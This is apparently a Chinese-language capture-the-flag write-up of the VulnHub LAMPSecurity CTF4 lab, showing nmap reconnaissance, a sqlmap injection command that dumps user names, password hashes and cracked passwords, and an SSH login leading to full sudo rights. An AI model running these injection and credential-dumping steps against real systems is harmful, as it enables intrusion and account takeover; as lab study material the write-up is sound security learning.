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      VulnHub_01_LAMPSECURITY: CTF4 
      
      
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                                                                        VulnHub_01_LAMPSECURITY: CTF4
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        2022-02-16
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                                                                        <span class="post-pubtime"> 本文共723字 </span>

                                                                        <span class="post-pubtime">
        大约需要6min
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            <b>#</b> VulnHub
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                                                                        <p>开始打vulnhub</p>
<p>download：<code>https://www.vulnhub.com/entry/lampsecurity-ctf4,83/</code></p>
<p>扫描：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netdiscover</span><br><span class="line">nmap -sT -sV -O 192.168.188.0/24</span><br></pre></td></tr></table></figure>

<p>发现为<code>192.168.188.130</code></p>
<p>nmap扫下：</p>
<blockquote>
<p>  nmap -A :检测操作系统和服务</p>
</blockquote>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">┌──(root💀kali)-[/home/kali]</span><br><span class="line">└─<span class="comment"># nmap -A 192.168.188.130                                                                                                                                                                                                            130 ⨯</span></span><br><span class="line">Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-16 00:23 EST</span><br><span class="line">Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan</span><br><span class="line">SYN Stealth Scan Timing: About 41.60% <span class="keyword">done</span>; ETC: 00:23 (0:00:04 remaining)</span><br><span class="line">Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan</span><br><span class="line">SYN Stealth Scan Timing: About 45.40% <span class="keyword">done</span>; ETC: 00:23 (0:00:04 remaining)</span><br><span class="line">Nmap scan report <span class="keyword">for</span> 192.168.188.130</span><br><span class="line">Host is up (0.00057s latency).</span><br><span class="line">Not shown: 996 filtered ports</span><br><span class="line">PORT    STATE  SERVICE VERSION</span><br><span class="line">22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)</span><br><span class="line">| ssh-hostkey: </span><br><span class="line">|   1024 10:4a:18:f8:97:e0:72:27:b5:a4:33:93:3d:aa:9d:ef (DSA)</span><br><span class="line">|_  2048 e7:70:d3:81:00:41:b8:6e:fd:31:ae:0e:00:ea:5c:b4 (RSA)</span><br><span class="line">25/tcp  open   smtp    Sendmail 8.13.5/8.13.5</span><br><span class="line">| smtp-commands: ctf4.sas.upenn.edu Hello [192.168.188.129], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP, </span><br><span class="line">|_ 2.0.0 This is sendmail version 8.13.5 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use <span class="string">&quot;HELP &lt;topic&gt;&quot;</span>. 2.0.0 To report bugs <span class="keyword">in</span> the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For <span class="built_in">local</span> information send email to Postmaster at your site. 2.0.0 End of HELP info </span><br><span class="line">80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))</span><br><span class="line">| http-robots.txt: 5 disallowed entries </span><br><span class="line">|_/mail/ /restricted/ /conf/ /sql/ /admin/</span><br><span class="line">|_http-server-header: Apache/2.2.0 (Fedora)</span><br><span class="line">|_http-title:  Prof. Ehks </span><br><span class="line">631/tcp closed ipp</span><br><span class="line">MAC Address: 00:0C:29:28:D9:61 (VMware)</span><br><span class="line">Device <span class="built_in">type</span>: general purpose|proxy server|remote management|terminal server|switch|WAP</span><br><span class="line">Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (98%), SonicWALL embedded (95%), Control4 embedded (95%), Lantronix embedded (95%), SNR embedded (95%), Dell iDRAC 6 (94%)</span><br><span class="line">OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:sonicwall:aventail_ex-6000 cpe:/h:lantronix:slc_8 cpe:/h:snr:snr-s2960 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1</span><br><span class="line">Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (98%), Linux 2.6.13 - 2.6.32 (96%), SonicWALL Aventail EX-6000 VPN appliance (95%), Control4 HC-300 home controller (95%), Lantronix SLC 8 terminal server (Linux 2.6) (95%), SNR SNR-S2960 switch (95%), Linux 2.6.8 - 2.6.30 (94%), Linux 2.6.9 - 2.6.18 (94%), Dell iDRAC 6 remote access controller (Linux 2.6) (94%), Linux 2.6.18 - 2.6.32 (94%)</span><br><span class="line">No exact OS matches <span class="keyword">for</span> host (<span class="built_in">test</span> conditions non-ideal).</span><br><span class="line">Network Distance: 1 hop</span><br><span class="line">Service Info: Host: ctf4.sas.upenn.edu; OS: Unix</span><br><span class="line"></span><br><span class="line">TRACEROUTE</span><br><span class="line">HOP RTT     ADDRESS</span><br><span class="line">1   0.57 ms 192.168.188.130</span><br><span class="line"></span><br><span class="line">OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br><span class="line">Nmap <span class="keyword">done</span>: 1 IP address (1 host up) scanned <span class="keyword">in</span> 15.98 seconds</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>开了22,25,80.</p>
<p>访问blog，url有注入，sqlmap直接跑。</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u <span class="string">&quot;http://192.168.188.130/index.html?page=blog&amp;title=Blog&amp;id=7%27&quot;</span> -D ehks -T user --dump</span><br><span class="line">+---------+-----------+--------------------------------------------------+</span><br><span class="line">| user_id | user_name | user_pass                                        |</span><br><span class="line">+---------+-----------+--------------------------------------------------+</span><br><span class="line">| 1       | dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |</span><br><span class="line">| 2       | achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |</span><br><span class="line">| 3       | pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |</span><br><span class="line">| 4       | jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |</span><br><span class="line">| 5       | sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |</span><br><span class="line">| 6       | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |</span><br><span class="line">+---------+-----------+--------------------------------------------------+</span><br></pre></td></tr></table></figure>

<p>ssh练了一次连不上，搜了下加个参数：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -o KexAlgorithms=diffie-hellman-group1-sha1 achen@192.168.188.130 </span><br></pre></td></tr></table></figure>

<p>进去之后<code>sudo -l</code>，可以看到该用户可以执行root的所有命令，但是不是所有用户都可以，比如pmoore就不行</p>

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